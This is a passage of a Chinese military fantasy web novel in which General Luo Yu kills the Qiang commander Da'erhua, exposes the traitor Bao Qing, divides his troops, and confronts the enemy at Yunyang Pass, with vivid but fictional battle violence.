你若是仔细看会发现一件诡异的事:
主将洛羽并不在阵中!
“包围乾军!不得放跑一人!”
“将军有令,得洛羽首级者,赏金百两!”
两倍于己的羌军把洛家军团团围在中央,因为地形狭窄,羌军也是下马作战,只有少许骑兵在四周游弋。
两军僵持,战场莫名地陷入一股安静。
一名羌军百户策马扬鞭,极为嚣张地怒喝道:
“乾军小儿还不束手就擒!交出洛羽的人头,可饶尔等……”
“嗖!”
话音未落便有一支利箭撕裂战场,一箭顺着喊话之人的嘴巴射了进去,洞穿咽喉,血溅当场。
如此血腥的场面让四周羌兵纷纷惊骇,这是何等高超的箭术啊。
余寒弓漫不经心地弯弓搭箭:
“让我瞧瞧,谁的嘴能快过我的箭?”
“就你们这些乌合之众,也配让洛家军投降?”
吕青云浑身杀意缭绕,狞笑一声:
“洛字旗下,无懦夫!”
“死战!”
“轰!”
铁盾砸地,**冲前,全军敢战!
在前指挥作战的羌军千户满脸阴沉,挥手怒喝:
“一个不留!”
“杀!”
羌兵如潮水般涌来,刀光映着月色,在二道梁的半山腰铺开一片死亡的银浪。
前排羌兵手持弯刀,狠狠劈在洛家军的铁盾上,金戈铁马的碰撞声令人心惊胆战。
“顶住!”
吕青云横刀立于阵心,有条不紊地下达号令:
“**手!反击!”
“**手伺机而动!”
外围**防守迎战,阵中央的**手不断射杀敌军,所有人各司其职,丝毫不乱。
这就是萧少游在练兵过程中一次次强调的重点:
全军上下,令行禁止!
“喝!”
数十杆**从盾牌间隙猛然刺出,最前排的羌兵顿时被捅穿胸膛,鲜血顺着枪杆流淌,染红了黄沙。
战斗格外激烈,靠着兵力上的巨大优势,零星的羌兵已经能越过盾墙冲入阵中,开始近身肉搏,试图搅乱乾军防线。
只见一名虎背熊腰的羌兵一跃入阵,第一时间就瞅准了吕青云,弯刀俯劈而来。
“当!”
吕青云挥刀架住劈来的刀锋,反手一刀削去了羌兵半个脑袋,温热的脑浆溅在他脸上,他却连眼睛都没眨一下。
“杀了他!”
几名羌兵同时围向吕青云,弯刀迭出,不断有死尸倒在吕青云的刀下,还有一人从背后鬼鬼祟祟地靠近,刚想举刀就被一箭洞穿了额头。
手握**的余寒弓面色冰冷:
“第七个,今夜正好让我练箭。”
战斗越发激烈,漫天的怒吼声回荡在夜空中,但玄底洛字旗始终高高飘扬。
山坡顶上,达尔花驻足而立,左肩绑着一块厚厚的纱布,脸色还有些苍白,前几天若不是他跑得快,早就死在洛羽手里了。
他身边仅有百十号亲兵护卫,其余兵力全都被他派上了战场,铁了心要将这支乾军吃掉。
观战半天的达尔花眉头微皱,明明己方拥有优势兵力重重**,却迟迟破不开乾军的防线,这放在以前是不可想象的。
“将军,查清楚了!”
随行的亲兵统领疾步走来,抱拳朗喝:
“二道梁周围确实只有这一队兵马,再无伏兵!”
“只有一支兵马偷袭?这个洛羽还真是骄狂过甚、目中无人啊。”
达尔花有一种被轻视的感觉:
“区区几百军卒就敢偷袭本将大营,真以为自己长了三头六臂?今日就是你的死期!
告诉前线,不惜一切代价也要把洛羽的人头给我砍下来!”
“咳咳,将军,那个洛羽似乎不在阵中。”
“什么?”
达尔花板着脸:“你没开玩笑吧,本将军隔着这么远都能看到洛字旗,你现在告诉我洛羽不在包围圈里?”
“确实没有。”
亲兵统领很尴尬:
“前沿将士对照画像打了半天也没发现洛羽的身影,指挥作战的好像仅是两名都尉。”
“怎么可能?”
达尔花眉头紧皱:“这家伙难道是察觉到情况不妙,跑了?不应该啊。”
这话说出来他自己都不信,至少从对阵这么久的情况来看,洛羽绝不是个贪生怕死之徒,逃跑更是不会。
“站住,你们是什么人?为何不去前线参战!”
一道冷喝声吸引了达尔花的目光,一队二三十人的巡逻哨兵被自己的亲兵拦住了。
按理说营中所有兵力都**乾军去了,为何还会有哨兵巡逻?再说了,你也不应该巡逻到主将帅帐啊。
凶神恶煞的亲兵板着脸喝道:
“问你们话呢!为何不答!
该不会是从前些撤下来的吧?将军早有军令在前,怯战者……”
“噗嗤!”
一柄弯刀狠狠地捅穿了羌兵的胸腹,惊得四周亲兵愕然,这伙人难不成要**?
尸体缓缓倒地,一张冰冷又熟悉的面庞映入达尔花的眼帘:
“我们又见面了。”
“洛,洛羽!”
达尔花嘴角一抽,心中没来由地升出一抹恐惧。大军被围,洛羽不想着逃命,竟然还伪装成自己人摸到帅帐来了。
明显是冲着自己来的!
“杀,杀了他们!”
达尔花厉喝出声:“取贼子首级者,赏金百两!”
“杀!”
近百羌兵怒目圆睁,手持利刃凶神恶煞地扑了上去。
洛羽随手一扯,撕开了身上令人厌恶的羌兵军服,露出一件轻薄的软甲。
小伍、许韦一左一右,整整三十号精锐老兵同时抽刀。
“杀!”
从头到尾洛羽就只说了一句话:
“随我取贼将首级!”
双方兵马狠狠地撞在了一起,这种近距离搏杀谈不上什么排兵布阵,只有比狠斗勇。三十号老兵三人一组,隐隐间排成一个尖刀阵型前冲。
小伍的身形如鬼魅般闪出,苍刀在手,刀光如雪。
曾几何时他还是个上了战场会尿裤子的胆小鬼,但此刻他已经是洛家军中独当一面的悍勇,眼中只剩杀意。
两名羌兵举刀迎上,却见小伍身形一矮,苍刀从两人中间交错划过,“嗤”的一声,两名羌兵的膝盖几乎同时中刀,惨叫着跪倒在地。
小伍旋身而起,刀光闪过,两颗头颅冲天飞起。
许韦则如猛虎下山,从羌兵手中夺来一根**
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,一记横扫千军直接逼退了一排敌军。他生得魁梧,招式也要比小伍大开大合得多,一人一**穿敌阵,接连有四五名羌兵倒在他的脚下。
洛羽没有多看两侧战况一眼,他的目光始终锁定在达尔花身上。健步前冲,整个人如离弦之箭直射敌阵核心。
四名羌兵同时扑上,四把弯刀从不同角度劈向洛羽,配合默契,刀光织成一张死亡之网,寻常士卒绝无可能生还。
洛羽眼中精光一闪,身形不止,骤然加速,在**及身的刹那,他整个人竟如游鱼般从缝隙中穿过。手中弯刀划出一道诡异弧线,“当当”两声脆响,四把弯刀被同时震开。
不等四人稳住身形,洛羽右手便横握苍刀,拦腰一劈!寒光闪过,四道血箭喷射而出。
一刀斩敌四人,勇猛无比。
“好快的刀。”
达尔花瞳孔骤缩,直到此时他才明白,当初洛羽斩杀完颜昌绝非侥幸!
三十人面对近百羌兵的**却杀出了虎入羊群的气势,刀光剑影间不断有羌兵倒在血泊中。
半山腰激战的羌兵似乎发现了他们的主将遇袭,不少人拖着**弯刀就往回跑,急着来救人。
四五名羌兵见势不妙,高举盾牌在洛羽身前拦出一道防线,洛羽试着冲了几次都被盾牌阵挡了回来,苍刀就算再锋利也难以攻破铁盾。
“小伍,许韦!”
“来了!”
怒喝声一响,小伍许韦便心领神会地从战场上抄起一面盾牌,两人背靠背半蹲在地,用盾牌搭出一个斜坡。
洛羽拉出一段距离加速前冲,手中已然多出了一把**,踩着两人肩上的盾牌狠狠一跺,整个人腾空而起:
“喝!”
“砰!”
一招秋风扫落叶砸在了盾牌上,羌兵只感觉到一阵劲风袭来,胸口剧痛,被砸得吐血倒飞。
小伍许韦眼疾手快,顺势跟上补刀,干脆利落地送几名羌兵见了阎王。
“拦,拦住他,快啊!”
如此凶悍的攻势让达尔花不自觉地往后退了几步,嗓音中已然多出了几分颤抖。
尖叫不断,可却无人上前,原来护在身边的十几名亲兵早已**得干干净净。
“轮到你了!”
洛羽狞笑一声,三步并作一步挥刀而出,达尔花手忙脚乱地抬刀一挡:
“当!”
“咔擦!”
身上本就有伤,心中又带着恐惧,岂能挡得住洛羽全力一击?跟随自己多年的大刀竟然被拦腰砍成了两截。
洛羽转身一记飞踹,正中达尔花的胸口,厚重的身躯就像是断了线的风筝飞出老远,重重栽落在地,鲜血狂喷而出。
就在此刻,救兵也到了。
数百羌兵手持**,团团围了过来,小伍与许韦领着三十号精锐扩成了一个扇形,牢牢护在战场周围,人人持刀,浑身带血,目光傲然。
那股杀气,纵使敌军千万又有何惧?
全场寂静无声,数百羌兵面面相觑,一时间竟无人敢上前救人。
鲜血顺着达尔花的嘴角不断渗出,洛羽拎着苍刀一步步走近,令他浑身发抖,目光中充斥着恐惧。
当洛羽面无表情地高举刀锋时,达尔花绝望地摇着头:
“不,不要。”
“死吧!”
“噗嗤!”
刀锋挥落,人头滚滚。
所有羌兵只觉得心脏狠狠一缩,那道浑身鲜血的人影在他们眼中宛如杀神。
洛羽就这么当着无数敌军的面割下了达尔花的人头,环视全场,杀气凛然:
“谁敢上前!”
第124章真正的幕后黑手
日初清晨
凉爽的秋风裹挟着血腥味弥漫田地,“洛”字军旗迎风而立,猎猎作响。
羌兵败了,大败亏输。
达尔花的死讯一传开羌兵便军心涣散,无心再战,四散而逃。
营门口的死尸重重堆叠,血肉模糊,鲜血顺着沙坡滚落,将地面染得猩红。
数以百计的洛家军坐在地上,累得直不起腰,随处可见被砍碎的盾牌弯刀,八百精锐步卒硬撼两倍于己的羌兵,甚至还有骑兵凿阵,这一场战斗的激烈程度超乎想象。
但全军上下无一人怯战、无一人畏战,因为早在刚入军的时候就有一句话在苍岐军卒之间口口相传:
不畏死者,可求生!
今日他们是八百顶天立地的汉子!
洛羽半蹲在地,给许韦包扎着伤口,这家伙也是不要命,一人拦着一群羌兵,自己挨了两刀都不知道,刀锋划拉出一道触目惊心的伤疤,血流不止。
“下次冲锋的时候能不能看着点,一个人不要冲那么深。”
“没事,蹭破点皮罢了。”
许韦咧嘴一笑:“这不是要掩护头去杀达尔花嘛,不卖力怎么行,再说了,大不了一条命罢了。”
“给我闭嘴!你**,家中的爹娘儿子谁来养?家里新分的地谁来种?日子刚有点盼头,说什么死不死的。”
洛羽瞪了他一眼:
“我带着你们出征可不是让你们送死的,还要好好的把你们带回去。不怕死是好事,没让你上赶着去见阎王。
听到了没!”
“听到了!”
许韦缩了缩头,哪还敢嬉皮笑脸。
山脚下传来阵阵嘈杂声,大批步卒呼啸而至,阵前还高举着秦昭与鲍卿二人的军旗。
原本坐在地上的军卒全都拎着刀站了起来,眼眸中充斥着愤怒,两支本该并肩作战的友军一兵未出,害得他们孤军作战,岂能不怒?
“妈的,这两个杂碎还敢来。”
吕青云气势汹汹地站在洛羽身侧:“头,要我说直接剁了他们两!”
“不急,看看再说。”
洛羽目光微挑,两路兵马已经涌至周围。
“啧啧,洛将军果然能征善战啊。”
秦昭扫过血淋淋的战场,语气轻挑:“区区八百人竟然能攻克二道梁,斩杀达尔花,秦某佩服。”
洛羽用刀尖挑起一面破碎的羌兵军旗:
“我洛家军激战一夜,两位就不想解释一下,你们为何一兵一卒未出吗?”
鲍卿漫不经心地说道:
“咱们半路遭遇了羌兵伏击,苦战一场,这才姗姗来迟,还望洛将军勿怪。”
“羌兵伏击?”
洛羽满脸嘲讽:
“两位麾下兵马军服整洁,不见半点血迹,这是苦战一场的样子?我看你们是故意保存实力,想要坐收渔翁之利吧?
你们就不怕我上报给陆将军李将军,治你们一个战场抗命的死罪!”
“哈哈哈,洛羽啊洛羽,你还真是傻的可爱。”
秦昭放声大笑,目光陡然冰冷:
“你觉得自己还有机会活着回去吗?”
“轰!”
两人麾下兵马同时举枪,呈扇形围住了洛羽所部,吕青云和余寒弓顺势而动,率军僵持,双方剑拔**张,大有一言不合便开打的架势。
鲍卿嘴角微翘:
“抱歉,从现在起,洛城主麾下的战马、甲胄全都归我们了。”
洛羽看着鲍卿:
“这些事是你搞的鬼?”
“猜对了。”
鲍卿饶有趣味地说道:
“洛将军有这么厚的家底,谁看了不眼红?再加上你不开眼,一上来就得罪秦将军。
自寻死路!”
“你们真是打得一手好算盘啊。”
洛羽神色平静:
“先让我与达尔花死拼,如果我**,你们就顺势剿灭羌兵,这样战功就是你们的;如果我赢了,那你们就反过来对付我,不管怎么样受益的都是你们。”
秦昭竖起一根手指:
“教洛将军一个道理,人为财死,鸟为食亡!别怪我们心狠手辣,要怪只能怪自己不知天高地厚!”
洛羽看向鲍卿的眼神陡然变得深邃:
“如果我没猜错,洛家军赶赴前线的行军路线、还有四路兵马夜袭黑水坡的消息都是你泄露给羌人的吧?”
“哈哈,洛将军果然聪慧过人,这都被你猜中了。”
鲍卿得意不已:
“没错!但我没有通敌,只是派几个哨骑假装被羌兵抓获,趁机将军情泄露给羌人罢了。
霍连城只不过是个可怜的替死鬼罢了,我只泄露了三路兵马,故意留了他,就是要把所有人的目光都吸引到他身上。
可惜啊,洛家军确实骁勇,连着两次都让你逃过一劫,鲍某佩服。”
听到这个消息,秦昭的表情毫无变化,显然在两人联手之时鲍卿就已经说明了实情。虽说自己被伏击吃了暗亏,但一想到马上就能吞并洛羽的势力,那点损失就显得微不足道了。
“佩服,好精妙的手段。”
洛羽面露疑惑:
“可我不理解你为何这么做,你现在惦记着我的战马甲胄可以理解,可一开始行军的伏击是怎么回事?
你我分明还未见面,无冤无仇,何必置人于死地?”
“很简单。”
鲍卿迈前一步,彻底解开了洛羽心中的疑惑:
“凤川城的姚林与杜刚和我是把兄弟,都以为他们是兄弟俩,实则是我们三人一起结拜。
只不过他们去了凤川,而我留在了家乡宜城。
兄弟死在你手上,我怎么着也得替他们讨个说法吧?”
洛羽终于明白了鲍卿的敌意从何而来,感情是替姚林报仇来了。
“洛将军的疑惑我解答完了。”
鲍卿微微一笑:
“自裁吧,也省得我们动手。你手下这帮兄弟骁勇善战,咱们看得上,跟着我们吃不了亏。”
鲍卿与秦昭的笑容极为畅快,在战场上大杀四方的洛羽在他们眼里犹如待宰的羔羊,任其宰割。
洛羽的脸上不带半丝波澜、畏惧,很平静地反问:
“你们凭什么觉得
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能杀了我?”
“洛将军这是胜仗打多了,失了智?”
秦昭就像是在看傻子:
“难不成你还想靠八百残兵与我们再战一场?”
“谁说我只有八百人?”
洛羽露出一抹意味深长的笑容:“不知道我还有八百骑兵吗?”
“轰隆隆!”
话音刚落,轰鸣的马蹄声便回荡在山谷之间,数不清的黑甲骑军地平线,气势汹汹地涌至山脚下。
秦鲍两路兵马瞬间慌乱,两位主将也蒙了,茫然不知所措。
一匹匹雄壮大马轻点头颅,一柄柄长矛寒光闪闪,董川与蒙虎更是杀气腾腾,只等洛羽一声令下便会上演一幕骑军**步卒的壮观场面。
萧少游驻足阵前,朗声厉喝:
“我等奉陆将军令,增援战场!”
秦昭与鲍卿心头微颤,听起来是驰援战场,实则他们两很清楚八百骑是冲自己来的。
“怎么可能。”
鲍卿终于反应了过来,愕然扭头:
“你,你早就知道!”
“真当我傻吗?”
洛羽讥讽道:
“我派人去查过霍连城的行军路线,他原来的道路确实被山石掩埋,与我相遇纯粹是巧合。
黑水坡一战如果是霍连城通敌,他绝无可能让自己面对一座空营,哪怕是装样子也总比空营要好。
他好歹是佣兵出身,摸爬滚打这么多年,若是连这点心思都没有早就死在战场上了。
倒是你,从我抵达前线开始就对我示好,送军粮、交朋友,定藏异心!还有这次二道梁一战,你表现得极为好战,却又让我打头阵,我就知道你心怀怪胎!
你这点把戏,上不得台面!
那日在霍连城营前,我说了一句人在做、天在看,其实是说给你听的!”
鲍卿那叫一个气急败坏,满脸羞红,没想到自以为天衣无缝的计策却早就被看穿。
洛羽和萧少游同时勾起了冷笑,他们两在开战前就定好了此计,引诱鲍卿与秦昭露出马脚,否则洛羽岂会一开战就伪装成羌兵去杀达尔花呢?
“现在该我问你们了。”
洛羽漫不经心地抽出苍刀在手中把玩:
“你们两是自裁,还是与我洛家军过过招?”
两人面色铁青,别看洛羽也就一千六百人,可那是整整八百披甲骑军啊,真要打起来,胜负还用想吗?
“洛羽,你也太不把我们放在眼里了!”
恼羞成怒的鲍卿怒斥道:
“我们也是从**堆里爬出来的,难道还怕与你一战?
秦兄,今日你我二人联手,定能将此贼……”
“噗嗤!”
话音未落,一柄长剑就狠狠捅入了他的胸膛,一口鲜血狂喷而出。
鲜血淋漓的剑锋,冰冷无情的眼神。
望着手握剑柄的秦昭,鲍卿的目光是那么的绝望与震惊:
“为,为什么?”
秦昭破口大骂:
“泄露军情的卑鄙小人,老子岂能与你这等人为伍!”
“本将军今日就要为国除害!”
第125章瓜分鲍家军
全场一片死寂,残留着体温的鲜血顺着鲍卿的胸膛缓缓流出。
**,堂堂一城的城主,前一刻还在耀武扬威的领兵将军就这么成了黄沙中的一具死尸。
手持长剑的秦昭朝着鲍卿麾下的兵马冷喝道:
“你们刚刚也听到了,鲍卿泄露军情,按律当斩!如今贼首已经伏法,与闲杂人等无关,但谁若是敢反抗,本将军定斩不饶!”
八百步卒纷纷跪倒在地,不敢有任何动作,开玩笑,现在出头岂不是背上了通敌**的罪名,还能有活路?
洛羽面带讥笑:
“没看出来啊,秦将军倒是个为民除害的忠勇之人。你以为杀了鲍卿,自己就能撇清干系?”
吕青云余寒弓二人很合时宜地迈前一步,寒光闪闪的刀锋让秦昭的面皮抖了抖,做出一个请的手势:
“洛将军,可否借一步说话。”
两人来到了角落,四周无人,数千兵马依旧持刀对峙,只不过剑拔**张的氛围缓和了许多。
“不知秦将军想说什么。”
洛羽的嘴角勾起一抹戏谑:“是想让我自裁,还是想分走我麾下的战马盔甲?”
秦昭脸色一黑,咬着牙低下了头:
“洛将军,此事是我不对,您大人不记小人过,休要与我一般见识。
但从头到尾都是鲍卿从中挑拨,百般劝说我与你为敌,实非我本意,一切都因这个卑鄙无耻的小人而起!”
洛羽眯着眼没有说话,秦昭见风使舵的速度超出了他的预料,眨眼间就把所有罪名推到了鲍卿的头上。
秦昭接着说道:
“我知道,今日洛将军若是想杀了我,秦某毫无反抗之力,但在下觉得,杀我于你不利,咱们倒不如来一场交易,皆大欢喜。”
“噢?说来听听。”
“洛将军如果杀了我,虽然能一解心头之恨,但只怕回营之后无法交差,万一李将军怪罪下来……
倒不如放了我,我一力承担此事。鲍卿是我杀的,与洛将军毫无干系,待回营之后我就向陆将军李将军禀明实情,鲍卿泄露军机、陷害同袍,死有余辜!
此人麾下有上千军卒、马匹以及不少军粮军资,秦某与洛将军一人一半,尽数纳入自己麾下,充实军力。
岂不美哉?”
“秦将军的脑子还真是快啊。”
洛羽饶有趣味地说道:“没吞掉我的兵马,反过头来就吞掉了鲍卿的兵马,啧啧。”
“成与不成洛将军给一句话便好。”
秦昭恨恨的说道:“今日是我栽了,是我秦昭有眼不识泰山!”
该说的话秦昭已经说尽了,眼下要杀要剐只能看洛羽的意思。
“成交。”
洛羽补充了一下条款:
“军卒我们一人一半,但他营中的战马、军粮、军资,全部归我!”
秦昭一阵气急,但洛羽冰冷的眼神让他明白,自己现在没有谈条件的资格,洛羽唯一不杀他的原因就是背后有个李家撑腰。
“行!依你!”
洛羽这才露出了满意的笑容,走出几步之后又回头丢下一句话:
“你给我记住,下次再玩此等阴谋诡计,就别怪我无情!”
望着洛羽渐行渐远的背影,秦昭的眼神无比怨毒。
……
“原来泄密通敌的叛徒是鲍卿这个无耻之徒,简直罪大恶极,该杀!”
陆铁山阴沉着脸:
“此人藏得还真深啊,若不是洛将军明察秋毫,咱们就全都被骗了。”
没有人去提二道梁一战的真正经过,也没人去提鲍卿与秦昭干的龌龊事,实际上陆铁山对二道梁的情况心知肚明,否则他又怎么会给萧少游下一道出营增援的军令呢?
但老人不想管,也没法去管,有李光业在这坐着,难道你还能杀了秦昭?
“呵呵,此战洛将军神勇无双,阵斩达尔花,杀得羌兵丢盔弃甲,大涨我方士气!”
秦昭笑意盎然地吹捧了几句,然后面带歉意地望向霍连城:
“霍将军,实在是对不住,之前秦某冤枉了你,要怪就怪鲍卿这个卑鄙小人,故意栽赃陷害!放心,本将军已经替你报仇雪恨了!”
“那我还得谢谢你了?”
刚从军营里被放出来的霍连城冷冷地回了一句,此人的脸皮当真是厚啊,分明是秦昭先跳出来诬陷自己是叛徒。
“好了,那此战便算是咱们大胜,鲍卿身死那是死有余辜,但他麾下那么多兵马总不能全都杀了吧?”
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李光业清了清嗓子,慢条斯理地开口道:
“此战洛将军与秦将军皆有杀敌之功,麾下也折损了不少士卒,老将军,我建议就将鲍卿的兵马分拨至洛羽、秦昭麾下,补充兵力。”
“此策甚妥。”
陆铁山微微点头,实在心里鄙夷至极,秦昭出什么力了也配分走鲍卿的兵丁?无非是秦昭与李家走得近,故意让他扩军罢了。
“二道梁一战我方大胜,羌兵死伤惨重,云阳关前再无障碍。”
老将军懒得去管这些阴谋诡计,起身朗喝:
“传令,休整五日,全军拔营,进攻云阳关的时机到了!”
“诺!”
众将领鱼贯而出,霍连城特地慢了一步站在洛羽身边:
“这次的事多谢洛将军了。”
“谢我做什么?难不成你以为我是为了你才揭穿鲍卿吗?”
洛羽摇了摇头:“你想多了,我这不是在帮你,而是在帮我自己。”
“不管怎么说,起码你信任我说的话,也没有对我落井下石。”
霍连城惨然一笑:
“如果那日洛将军站出来踩我一脚,霍某此刻已经变成森森白骨了。我早年从军,见过太多的尔虞我诈、阴谋诡计,能遇到洛将军这种好人,是我霍连城命好。
谢了。”
“说的倒是有几分道理。”
洛羽突然挑眉问道:
“其实我一直很好奇,你当年为何退出边军?以你的能力若是不走,现在大小也是个实权武将了吧?”
霍连城能够白手起家在内地拉起一支上千人的用兵足见其能力不弱,为何军中不待,偏要自己跑出去拉队伍?
“实权武将?呵呵,洛将军在开玩笑吧?”
霍连城望着营中飘飞的军旗,哑声道:
“当年我从军的时候有一位挚友,与我情同手足,生死相依,敢打敢拼。可他没死在战场上,反而被同袍诬陷,活活钉死在木架上。我看着铁钉刺穿他的四肢却无能为力,谁会愿意留在这样的军队中吗?
洛将军,边军的刀子,向来是往自己人身上捅的。”
洛羽目光闪烁,沉默许久后拍了拍他的肩膀:
“我们该改变它,而不是抛弃它。”
第126章把你的人头挂上城楼
洛羽的军帐中多了一张陌生面孔,三十来岁,肌肤黝黑,典型的中年武人,低着头显得有些局促。
徐松,原鲍卿麾下的一名都尉。
鲍家军划归洛羽麾下的有五百多号人,此人乃军衔最高者。
徐松时不时会偷瞄一眼,从去年的云阳关之战到此次出兵收复失地,洛羽连战连捷,名头在军中传得极为响亮,在他们这些寻常军官的眼里更是神一般的存在。
第一次近距离接触,他自然忍不住多看两眼。
“跟着鲍卿几年了?”
洛羽总算开了口,徐松赶忙答道:
“三年。”
“你以前入过军?”
“是的,在军中一直干到百户,可上面拖欠了我一年军饷未发,就跑了。”
如此实诚的理由让洛羽愕然,竟然连一个百户的军饷都不发。
“那你为什么跟着鲍卿?”
“我是宜城人,他在宜城招兵我就跟了他,卑职没啥本事,只能靠挣点军饷养活家人,因为我是老兵,对我还算提拔,慢慢就成了都尉。”
“几年前就能在边军中当上百户也算有本事了。”
洛羽风轻云淡的说道:
“从今天起你就跟我了,你原先是都尉,到了我这还是都尉。当然了,你若不想干可以走,没人会为难你。”
“有军饷拿吗?”
“当然有,肯定比鲍卿给的要多,而且从不拖欠。”
这一点洛羽还是有自信的,自己军中的军饷从未拖欠过,再加上吞了鲍卿的军资,现在他的家底极为厚实。
洛羽开出的条件让徐松目露精光,几乎是毫不犹豫地点头:
“干!”
“我会从五百多人里挑选一些青壮补充到其他各尉,剩下的兵都归你带。
还是那句话,不想干的可以走,想干的我这里有军粮,有军饷,给得比所有人都多,但是只要留下就得服从军规军纪,触犯军规,绝不轻饶!”
“明白!”
洛家军治军严明,这一点在军中人尽皆知。
“另外我会派一些标长、百户去你手下带兵,帮着练兵,有问题吗?”
“没有,卑职谨遵军令!”
徐松很清楚练兵是表面上的说辞,只怕洛羽还有要监视自己的意思,毕竟自己是鲍卿手下划过来的,怎么可能轻易信任。
“退下吧。”
“诺!”
徐松恭恭敬敬地退了出去,洛羽的嘴角勾起一抹笑意:
“此人倒是有趣,张口闭口只提军饷,你觉得此人如何?”
“还不错。”
萧少游并不反感他提军饷:
“我去打听过徐松的底细,每次一发军饷就托人寄回家,好像是家中双亲和儿子都患有重病,日日服药,开销极大,他一个都尉的日子过得还不如底下的军卒。”
“这么说倒是个实诚人了。”
洛羽目光微凝:
“那咱们就用用看吧。
瓜分了鲍家军之后咱们的兵力一下子扩充至两千人,看似是好事,但如果混进来五百乌合之众可会让战斗力大打折扣,所以得靠你练兵了。”
“小事。”
萧少游微微一笑:
“咱们的军饷给得比别人多,从不克扣,军粮也供应充足,不会饿肚子。这些人当兵打仗无非是为了混口饭吃,有粮有饷,凭什么不玩命?
只不过要想磨炼成精锐,还需要几场战事的洗礼。”
在苍岐城的时候洛羽和萧少游就建立起一套完整的练兵制度,操练新兵不算困难,况且这些人不算新兵,多多少少打过几仗。
“明天就要起程去云阳关了啊。”
洛羽站在军帐门口,目光中多出一丝感慨:
“阔别近一年,终究又回到了这个地方。”
两人并肩而立,脑海中隐约回想起那一夜血战云阳关的场面。
萧少游喃喃道:
“当初我们离开前线,建城苍岐,一心想着有一块的地盘,有一支铁血雄师。
依我看如今的洛家军已是精锐,但距离铁血雄师似乎还有些距离。”
洛羽的手掌轻轻在虚空中一握:
“拿下云阳关,这支精锐就会蜕变成铁血雄师!”
……
云阳关外旌旗蔽野,战马嘶鸣,庞大的军阵犹如黑云压城,声势浩大。
大乾兵马终于抵达了这座边陲重镇,遍插城头的孤狼逐日旗令所有将士面色阴沉。
孤狼是西羌一族的图腾,草原人视狼为战神的化身,逐日则象征着西羌想要征服四方的野心。
百年前西羌一族崛起于草原时大乾对其漠不关心,视其为边荒蛮夷,可时至今日,孤狼逐日旗已经成了边关军民的噩梦。
“云阳关,老夫有好些年没到此地来了。”
陆铁山驻马遥望,浑
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浊的老眼中闪烁着些许精光:
“老夫年轻时在此地驻扎了近十年之久,从一名普通军卒一步步当上标长、百户、都尉。
如今看到西羌的军旗插在云阳关的城头上,真是我等边军的耻辱啊。”
众将神色各异,现如今的大乾边军只不过是各家牙兵临时拼凑起来的罢了,哪还有什么认同感。
“老将军戎马一生,堪称我边军柱石啊。”
李光业呵呵一笑:
“此战有老将军多多谋划,收复云阳关指日可待。”
“嘎吱~”
云阳关的城门轰然大开,一队打着完颜旗号的精骑疾驰而出,更有一骑飞奔阵前,朗声怒喝:
“大羌主将完颜康,请苍岐洛城主答话!”
冷喝声回荡在半空中久久不绝,一众将领的目光都集中在了洛羽身上,面色古怪。
谁都知道完颜康为何要单独见洛羽,还不是因为完颜昌死在了他手上。
“去吧。”
陆铁山冷笑一声:
“洛将军替咱们去会会他。”
“诺!”
洛羽策马前行,完颜康单人匹马,早早就侯在了战场中央,随身并未携带任何兵器。
四目相对,久久不语。
完颜康打量了洛羽许久才开口道:
“没想到杀我兄长之人竟如此年轻,阙州边军能出你这等人物真是让我意外。”
“让你意外的事情应该还有很多吧。”
洛羽神色平静:
“比如黑水坡一战,比如达尔花的战死?”
“呵呵,洛将军的口舌之利不输领军之才啊。”
完颜康并没有被激怒,反而是轻笑一声:
“打了几场胜仗就可以目中无人了?这些年来我见过的后起之秀不少,但无一例外,都成了黄沙中的一抔白骨。”
“等我杀进云阳关的时候你就不会这么说了。”
洛羽面无表情的说道:
“想活命,你最好现在就带兵撤出云阳关。”
“哈哈,有志气。本将军就待在云阳关,看你有什么本事破城而入。”
完颜康脸上的笑容逐渐消失,取而代之的是一抹冰冷:
“迟早有一天我会把你的人头挂在云阳城头,祭奠我的兄长!”
“这句话我也送给你。”
洛羽面无表情的说道:
“我好人做到底,送你们兄弟俩团聚!”
第127章初战云阳关
乾军并未抵近城墙安营,而是在云阳关东北方三十里的险要处扎下了大营。
羌军主力皆是骑兵,骁勇善战,军营紧挨云阳关总得防着羌军出城偷袭,整日提心吊胆,倒不如拉开一段距离,先保障自己的安全。
诸位武将齐聚一堂,陆铁山站在地图前介绍起敌我双方的情况:
“完颜康麾下兵马原有六千之众,在黑水坡与二道梁陆续被我军歼灭两千余人,如今城内敌军撑死不过四千。
而我们呢?近八千兵马!两倍于敌!
收复云阳关一战我军已占有优势,能不能破城而入,就看接下来的攻城战了。”
众人目光闪烁,神色各异。
鲍卿身死之后,军中实力最强的就成了李家和洛羽,各有两千兵马,另外三路都在千余人左右。看似八千人兵强马壮,可底下藏着多少小心思?
“但攻城战是最**命的地方。”
洛羽接话道:
“云阳关城高墙坚,易守难攻,羌军又可以肆意劫掠百姓存粮,并无粮草之忧。就算守城战不是他们的强项,可坚固的城墙总归是他们的屏障。
想要攻克云阳关得付出不小的代价。”
“不管付出多大的代价,一定要把云阳关攻下来!”
李光业面无表情地说道:
“我的建议是派遣洛、秦、霍三位将军的兵马组成前锋,前出攻打云阳关。我和陆老将军驻守大营,囤积粮草军械,为前锋后盾。
不拿下云阳关,大军决不撤兵!”
“李将军的建议不错。”
陆铁山微微点头:
“可三路兵马组成前锋,总得指派一名主将统筹战事吧?否则只怕号令不明,反而拖累攻城战事。”
“呵呵,老将军和我想到一起去了,前锋主将的人选我已有考量。”
李光业的视线在三人身上依次扫过,轻笑一声:
“就让秦将军指挥攻城战吧。”
洛羽和霍连城眉头一挑,李光业果然还是选了自己人。
“咳咳,秦将军骁勇善战,确实不错。”
老将军的眼眸中闪过一抹古怪:
“只不过洛将军自开战以来连战连捷,军中士气更是节节攀升,杀得羌兵闻风丧胆,似乎他更为合适吧?”
“话是这么说不假,但洛将军麾下以骑兵悍勇著称,咱们如今是要打攻城战嘛。”
李光业意有所指地说道:
“此次出兵前,秦将军曾带兵苦练攻城战法,相信他定能一举攻克云阳关!”
帐中陷入了沉寂,两位主帅似乎对谁带兵产生了分歧。
身为当事人的秦昭不紧不慢地开口道:“前锋主将一职关系重大,末将不敢轻担,不过我想提醒一句。
军中粮草可不多了,攻城战旷日持久,粮草必不可少,是不是先该筹措军粮?”
几人下意识地看向了李光业,因为这几个月的军粮都由李家负责提供。
“军粮一事无须担心。”
李光业漫不经心的说道:
“难道我李家还能眼睁睁地看着诸位饿死不成?放心,我立刻派人去催。”
在座的都是老狐狸,如何看不出这是李光业和秦昭一唱一和的戏码,就是在提醒他们,李家在这场战事中说了算!否则别说选择主帅了,你们连填饱肚子都是件难事!
李光业随意地看向陆铁山:
“老将军,要不此事就这么定了?”
